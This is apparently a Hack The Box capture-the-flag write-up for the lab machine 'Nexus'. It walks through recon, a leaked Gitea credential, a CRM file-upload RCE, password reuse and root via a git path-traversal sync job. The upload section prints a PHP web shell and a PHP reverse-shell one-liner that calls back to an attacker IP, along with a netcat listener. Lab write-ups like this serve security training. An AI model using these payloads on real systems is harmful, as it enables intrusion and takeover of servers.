shreekara@sneaky69:~/writeups/nexus$
$catnexus.md

HTB Write-Up: Nexus

PlatformHack The Box
DifficultyMedium
OSLinux
Authorshreekara
DateJuly 15, 2026
Sourcegithub.com/ShreekaraKedlaya/Hackthebox-writeups

Table of Contents

1. Reconnaissance
2. Enumeration and Subdomains
3. Gitea Repo Leaks a DB Password
4. Krayin CRM RCE via CVE-2026-38526
5. Shell as www-data to jones
6. Root via Gitea Template Sync
7. Summary

1. Reconnaissance

Standard start:

$sudo nmap-sS -sV -T4 10.129.6.203
PORT   STATE SERVICE VERSION
22/tcp open  ssh    OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)

Just SSH and a web server, so added the vhost and moved to the site.

$sudo pluma/etc/hosts
10.129.6.203 nexus.htb

2. Enumeration and Subdomains

http://nexus.htb/ is a government-looking energy authority site. Nothing broken on the homepage itself, but the Careers page has a job listing that leaks two internal emails in the "how to apply" box:

careers@nexus.htb
j.matthew@nexus.htb  (the actual hiring manager)

Kept j.matthew@nexus.htb in mind, it's the kind of thing that ends up being a login username later.

Ran ffuf for subdomains against the Host header:

$ffuf-w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb"

Wildcard DNS, so basically everything comes back 302/154 bytes/4 words. Filtered that out:

$ffuf-w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -fw 4
git      [Status: 200, Size: 14472]
billing  [Status: 302, Size: 390]

Two real subdomains. Added them:

$echo"10.129.6.203 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

3. Gitea Repo Leaks a DB Password

git.nexus.htb is a Gitea instance, browsable without logging in. Explore → Repositories shows one repo: admin/krayin-docker-setup, 2 commits, 1 branch.

Contains .env, docker-compose.yml, and a documents folder.

The current .env didn't have much in it, but checked the commit history on the file anyway — someone had changed the DB password at some point, but never bothered to purge the old commit. Old commit still has the plaintext password sitting there.

That, plus j.matthew@nexus.htb from the careers page, was enough to go try billing.nexus.htb.


4. Krayin CRM RCE via CVE-2026-38526

billing.nexus.htb redirects to /admin/login — Krayin CRM, an open source Laravel CRM.

Logged in with j.matthew@nexus.htb + the leaked DB password. Worked first try, password reuse between the DB and the admin account.

Panel shows version v2.2.0. Quick search turns up:

CVETypeImpact
CVE-2026-38526Unrestricted file upload → RCEFull server takeover

The bug is in the TinyMCE image upload handler — no extension/content checks, so a .php file gets saved and served over HTTP just fine.

Used the image upload button inside Compose Email to trigger it:

  1. Uploaded any image through the editor.
  2. Caught the request in Burp, sent to Repeater.
  3. Changed the filename to RCE.php, swapped the image bytes for:
<?php echo shell_exec($_GET["c"]); ?>

Forwarded it, got a 200 OK back with the storage path for the uploaded file straight in the JSON body:

{ "location": "http:\/\/billing.nexus.htb\/storage\/tinymce\/55911c6153ad966a4ed5237f1e5bd9bd.php" }

Hit the path with ?c=id, command execution confirmed.

Reverse shell one-liner (URL-encoded, sent through the same ?c= param):

php -r '$sock=fsockopen("10.10.16.194",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Listener:

$nc-lnvp 4444

Shell landed:

Connection received on 10.129.6.203 57088
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$python3-c 'import pty; pty.spawn("/bin/bash")'

5. Shell as www-data to jones

$cdkrayin && ls -la

Normal Laravel/Krayin layout.

$cat/etc/passwd
jones is the only real user with a shell.
$cat.env
DB_PASSWORD=y27xb3ha!!74GbR

Same password, still current. Tried it against SSH for jones since he's the only real user on the box.

$sshjones@10.129.6.203
Logged straight in.

User flag is at /home/jones/user.txt.


6. Root via Gitea Template Sync

There's a timer on the box, gitea-template-sync.timer, running /etc/gitea/template-sync.py as root. It syncs files out of any Gitea repo marked as a "Template", using git ls-tree output to figure out where to write files. It joins those paths with os.path.join() without checking for ../, so a crafted tree entry can escape the sync destination entirely.

jones's creds work on Gitea too, so:

$ssh-keygen-t ed25519 -f /tmp/.k -N ''

Made a new repo called RCE, marked it as a Template, cloned it:

$git clonehttp://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/RCE.git

Git itself won't let you commit a path with ../ in it through the normal commands, so a small script builds the git objects by hand (blob/tree/commit, dropped straight into .git/objects) with a tree entry that walks up four directories and back down into root/.ssh/, dropping the ed25519 pubkey as authorized_keys.

$python3build.py
Done: 3877eef64c51640e06233c2e34067800a122bf5b
$git push-u origin main --force
Writing objects: 100% (11/11), done.
To http://git.nexus.htb/jones/RCE.git
 * [new branch]    main -> main

Timer fires about once a minute, waited it out and checked the log:

$cat/var/log/template-sync.log

Key got written to /root/.ssh/authorized_keys. Root:

$ssh-i /tmp/.k root@nexus.htb
root@nexus:~# ls
root.txt
root@nexus:~# cat root.txt

7. Summary

StepWhat happened
Reconnmap → 22, 80
Web reconCareers page leaks internal emails
Subdomainsffuf + Host header → git., billing.
Leaked credOld commit on Gitea repo still has the DB password
Initial accessKrayin admin login (reused DB pw) → CVE-2026-38526 upload RCE
www-data to jones.env DB password reused as jones's SSH password
jones to roottemplate-sync.py path traversal via hand-built git tree

Notes to Self

Rotating a leaked secret doesn't help if the old commit is still sitting in history. Should've purged it, not just committed a new value on top.

Same password everywhere — DB, admin panel, SSH — meant one leak was three logins.

Any "attach an image" widget backed by a shared upload handler is a potential RCE if the server isn't actually checking what got uploaded.

Root cron jobs that trust paths coming out of user-controlled git repos are a bad idea — git's CLI stops you from committing ../ paths, but nothing stops someone from writing the raw objects by hand.

< cd ~/writeups